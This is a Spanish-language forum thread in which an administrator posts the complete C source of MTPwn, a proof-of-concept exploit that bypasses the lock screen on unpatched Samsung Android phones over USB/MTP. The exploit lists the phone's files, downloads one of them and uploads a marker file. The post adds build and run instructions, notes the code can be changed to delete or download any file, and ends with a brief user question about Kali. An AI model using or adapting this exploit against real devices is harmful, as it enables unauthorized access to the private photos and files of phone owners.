Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

MTPwn - Exploit para ver archivos de telefonos bloqueados

  • 2 Respuestas
  • 6245 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5488
  • Actividad:
    21.67%
  • Reputación 35
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Enero 05, 2018, 03:16:34 pm »

Hace poco salió un nuevo exploit para una vulnerabilidad que presentan todos los teléfonos Samsumng con Android, el cual permite al atacante acceder por USB a todos los archivos que tenga el teléfono (Fotos, Videos, Etc) aunque el teléfono este bloqueado con algun patrón o en modo de carga.

Este exploit que voy a exponer a continuación, lista todos los paths y los nombres de los archivos que tenga el dispositivo, ya sea en la memoria interna o en la SD. El exploit se puede modificar para eliminar o descargar cualquier archivo del teléfono, el que dejaré a continuación solo deja descargar un archivo random, ya que es para demostrar la vulnerabilidad.

Esta vulnerabilidad afecta a todos los dispositivos androids que no esten actualizados a Noviembre del 2017. Luego de esa fecha salió el parche de seguridad que arregla esta falla.

Código: C
  1. /*
  2.  *  mtpwn - PoC exploit for a vulnerability of Samsung's Android
  3.  *          phones that allows an attacker to access phone storages
  4.  *          via USB, bypassing lock screen and/or "Charge only" mode.
  5.  *          It requires libmtp.
  6.  *
  7.  *  Copyright (C) 2017  Salvatore Mesoraca <[email protected]>
  8.  *
  9.  *  This program is free software: you can redistribute it and/or modify
  10.  *  it under the terms of the GNU General Public License as published by
  11.  *  the Free Software Foundation, either version 3 of the License, or
  12.  *  (at your option) any later version.
  13.  *
  14.  *  This program is distributed in the hope that it will be useful,
  15.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  16.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  17.  *  GNU General Public License for more details.
  18.  *
  19.  *  You should have received a copy of the GNU General Public License
  20.  *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
  21.  */
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <string.h>
  26. #include <time.h>
  27. #include <libmtp.h>
  28.  
  29. #define MAX_PATH 1024
  30.  
  31. static void walk(char *fname,
  32.                  LIBMTP_file_t *files,
  33.                  LIBMTP_folder_t *folders,
  34.                  char **flist,
  35.                  size_t nmem,
  36.                  ssize_t *idx,
  37.                  ssize_t pidx)
  38. {
  39.         size_t cidx = *idx;
  40.         size_t fidx;
  41.  
  42.         if (folders == NULL || cidx+1 >= nmem)
  43.                 return;
  44.         cidx = ++(*idx);
  45.         flist[cidx] = malloc(sizeof(char)*MAX_PATH);
  46.         if (pidx == -1)
  47.                 snprintf(flist[cidx],
  48.                          MAX_PATH,
  49.                          "%s/%x/%s/",
  50.                          fname,
  51.                          folders->storage_id,
  52.                          folders->name);
  53.         else
  54.                 snprintf(flist[cidx],
  55.                          MAX_PATH,
  56.                          "%s%s/",
  57.                          flist[pidx],
  58.                          folders->name);
  59.  
  60.         walk(fname, files, folders->child, flist, nmem, idx, cidx);
  61.         walk(fname, files, folders->sibling, flist, nmem, idx, pidx);
  62.  
  63.         while (files != NULL) {
  64.                 if (files->parent_id == folders->folder_id &&
  65.                     folders->storage_id == files->storage_id) {
  66.                         fidx = ++(*idx);
  67.                         if (fidx >= nmem)
  68.                                 return;
  69.                         flist[fidx] = malloc(sizeof(char)*MAX_PATH);
  70.                         snprintf(flist[fidx],
  71.                                  MAX_PATH,
  72.                                  "%s%s",
  73.                                  flist[cidx],
  74.                                  files->filename);
  75.                 } else if (cidx == 0 && files->parent_id == 0) {
  76.                         fidx = ++(*idx);
  77.                         if (fidx >= nmem)
  78.                                 return;
  79.                         flist[fidx] = malloc(sizeof(char)*MAX_PATH);
  80.                         snprintf(flist[fidx],
  81.                                  MAX_PATH,
  82.                                  "%s/%x/%s",
  83.                                  fname,
  84.                                  files->storage_id,
  85.                                  files->filename);
  86.                 }
  87.                 files = files->next;
  88.         }
  89. }
  90.  
  91. static size_t folders_count(LIBMTP_folder_t *folders)
  92. {
  93.         size_t c = 1;
  94.  
  95.         if (folders == NULL)
  96.                 return 0;
  97.         c += folders_count(folders->child);
  98.         c += folders_count(folders->sibling);
  99.         return c;
  100. }
  101.  
  102. static size_t files_count(LIBMTP_file_t *files)
  103. {
  104.         size_t c = 0;
  105.  
  106.         while (files != NULL) {
  107.                 files = files->next;
  108.                 ++c;
  109.         }
  110.         return c;
  111. }
  112. static size_t approx_count(LIBMTP_file_t *files, LIBMTP_folder_t *folders)
  113. {
  114.         size_t c = 0;
  115.  
  116.         c += files_count(files);
  117.         c += folders_count(folders);
  118.         return c;
  119. }
  120.  
  121. static int pathcmp(const void *a, const void *b)
  122. {
  123.         return strcmp(*((char **)a), *((char **)b));
  124. }
  125.  
  126. static void destroy(char **fname,
  127.                     LIBMTP_file_t **files,
  128.                     LIBMTP_folder_t **folders,
  129.                     char ***flist,
  130.                     size_t nmem)
  131. {
  132.         int i;
  133.         LIBMTP_file_t *fs = *files, *tmp;
  134.         char **fl = *flist;
  135.  
  136.         free(*fname);
  137.         *fname = NULL;
  138.  
  139.         while (fs != NULL) {
  140.                 tmp = fs;
  141.                 fs = fs->next;
  142.                 LIBMTP_destroy_file_t(tmp);
  143.         }
  144.         *files = NULL;
  145.  
  146.         LIBMTP_destroy_folder_t(*folders);
  147.         *folders = NULL;
  148.  
  149.         for (i = 0; i < nmem; ++i)
  150.                 free(fl[i]);
  151.         if (nmem)
  152.                 free(fl);
  153.         *flist = NULL;
  154. }
  155.  
  156. int main(int argc, char *argv[])
  157. {
  158.         char *fname;
  159.         ssize_t idx;
  160.         size_t fcount = 0, reals, i;
  161.         char **flist;
  162.         LIBMTP_mtpdevice_t *device_list, *device;
  163.         LIBMTP_file_t *files, *f2;
  164.         LIBMTP_folder_t *folders;
  165.         LIBMTP_file_t *newfile;
  166.  
  167.         srand(time(NULL));
  168.         LIBMTP_Init();
  169.  
  170.         switch (LIBMTP_Get_Connected_Devices(&device_list)) {
  171.         case LIBMTP_ERROR_NONE:
  172.                 break;
  173.         case LIBMTP_ERROR_NO_DEVICE_ATTACHED:
  174.                 fprintf(stderr, "%s: no devices found\n", argv[0]);
  175.                 return 0;
  176.         case LIBMTP_ERROR_CONNECTING:
  177.                 fprintf(stderr,
  178.                         "%s: There has been an error connecting\n",
  179.                         argv[0]);
  180.                 return 1;
  181.         case LIBMTP_ERROR_MEMORY_ALLOCATION:
  182.                 fprintf(stderr, "%s: Memory Allocation Error\n", argv[0]);
  183.                 return 1;
  184.         case LIBMTP_ERROR_GENERAL:
  185.         default:
  186.                 fprintf(stderr, "%s: Unknown error\n", argv[0]);
  187.                 return 1;
  188.         }
  189.  
  190.         printf("\n\nFiles list:\n");
  191.         for (device = device_list; device != NULL; device = device->next) {
  192.                 fname = LIBMTP_Get_Friendlyname(device);
  193.                 if (fname == NULL)
  194.                         fname = strdup("NONAME");
  195.                 folders = LIBMTP_Get_Folder_List(device);
  196.                 files = LIBMTP_Get_Filelisting_With_Callback(device,
  197.                                                              NULL,
  198.                                                              NULL);
  199.                 if (folders == NULL && files == NULL) {
  200.                         fprintf(stderr, "Nothing to see here.\n");
  201.                         LIBMTP_Dump_Errorstack(device);
  202.                         LIBMTP_Clear_Errorstack(device);
  203.                 } else {
  204.                         fcount = approx_count(files, folders);
  205.                         flist = calloc(fcount, sizeof(char *));
  206.                         idx = -1;
  207.                         walk(fname, files, folders, flist, fcount, &idx, -1);
  208.                         reals = 0;
  209.                         while (reals < fcount)
  210.                                 if (flist[reals])
  211.                                         ++reals;
  212.                                 else
  213.                                         break;
  214.                         qsort(flist, reals, sizeof(char *), pathcmp);
  215.                         for (i = 0; i < reals; ++i)
  216.                                 printf("%s\n", flist[i]);
  217.                         reals = files_count(files);
  218.                         reals = rand()%reals;
  219.                         f2 = files;
  220.                         while (f2 != NULL && reals > 0) {
  221.                                 f2 = f2->next;
  222.                                 --reals;
  223.                         }
  224.                         for (i = 0; i < strlen(f2->filename); ++i)
  225.                                 if (f2->filename[i] == '/')
  226.                                         f2->filename[i] = '_';
  227.                         if (LIBMTP_Get_File_To_File(device,
  228.                                                     f2->item_id,
  229.                                                     f2->filename,
  230.                                                     NULL,
  231.                                                     NULL))
  232.                                 fprintf(stderr, "\nError getting file.\n");
  233.                         else
  234.                                 printf("\nDownloaded file: %s\n",
  235.                                        f2->filename);
  236.                         newfile = LIBMTP_new_file_t();
  237.                         newfile->filename = strdup("PWND");
  238.                         newfile->filesize = 0;
  239.                         newfile->filetype = LIBMTP_FILETYPE_UNKNOWN;
  240.                         newfile->storage_id = f2->storage_id;
  241.                         newfile->parent_id = 0;
  242.                         if (LIBMTP_Send_File_From_File(device,
  243.                                                        argv[0],
  244.                                                        newfile,
  245.                                                        NULL,
  246.                                                        NULL))
  247.                                 fprintf(stderr, "\nError sending file.\n");
  248.                         else
  249.                                 printf("\nUploaded file PWND on storage %x.\n",
  250.                                        f2->storage_id);
  251.                         LIBMTP_destroy_file_t(newfile);
  252.                 }
  253.                 destroy(&fname, &files, &folders, &flist, fcount);
  254.         }
  255.  
  256.         LIBMTP_Release_Device_List(device_list);
  257.         return 0;
  258. }


El funcionamiento es simple, una de las formas mas comunes, es conectar el teléfono a la PC usando Media Transfer Protocol (MTP), desde acá se podrán ver todos los archivos tanto de la memoria interna como de la SD aunque el telefono este bloqueado con contraseña.

Afecta a todos los Samsungs desde el año 2012 hasta el 2017 con versiones de Android desde la 4.0.3 hasta la 7.x, es decir, todos los dispositivos sin el parche de seguridad que apareció en Noviembre del 2017.

La forma de uso es la siguiente:

Instalamos las librerias a utilizar:
Código: Bash
  1. sudo apt-get install libmtp-dev

Descargamos el Exploit
Código: Bash
  1. curl -L "https://github.com/smeso/MTPwn/archive/v0.1.tar.gz" -o mtpwn.tgz

Extraemos los archivos y los compilamos:
Código: Bash
  1. tar xzvf mtpwn.tgz
  2. cd MTPwn-0.1
  3. make

Conectamos el teléfono bloqueado y ejecutamos:
Código: Bash
  1. ./mtpwn

En algunos dispositivos puede demorar un poco para ejecutarse o retornar la información. Hay que asegurarse de que no tengamos otra aplicación usando MTP. Si esto falla, deberíamos desconectar y reconectar nuevamente.

GitHub: https://github.com/smeso/MTPwn

Espero que les sirva!
ANTRAX


Desconectado abraxas1800

  • *
  • Underc0der
  • Mensajes: 9
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Enero 13, 2018, 05:04:04 pm »
Esto se ejecuta con Kali? disculpa por la ignorancia

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5488
  • Actividad:
    21.67%
  • Reputación 35
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Enero 14, 2018, 12:28:38 am »
Esto se ejecuta con Kali? disculpa por la ignorancia

Con cualquier SO en realidad. Es un código en C que debes compilar.

Saludos,
ANTRAX


 

¿Te gustó el post? COMPARTILO!



Android para PC y Mac con "bluestacks"

Iniciado por Only

Respuestas: 1
Vistas: 3391
Último mensaje Diciembre 29, 2012, 09:27:51 pm
por |şSɘŬ
Android Studio, el nuevo IDE para Android

Iniciado por ANTRAX

Respuestas: 12
Vistas: 9360
Último mensaje Marzo 21, 2015, 01:33:30 pm
por vizard00
Fast For Facebook - Excelente Cliente Facebook para Android

Iniciado por Kodeinfect

Respuestas: 0
Vistas: 2563
Último mensaje Febrero 03, 2013, 04:58:14 pm
por Kodeinfect
Cómo activar Steam Guard para evitar que te roben tu cuenta de Steam

Iniciado por Dragora

Respuestas: 0
Vistas: 1988
Último mensaje Marzo 15, 2019, 01:13:17 pm
por Dragora
Cómo formatear tu Android antes de venderlo para evitar que recuperen nada

Iniciado por Dragora

Respuestas: 1
Vistas: 1875
Último mensaje Abril 16, 2019, 12:35:54 pm
por KiddArabic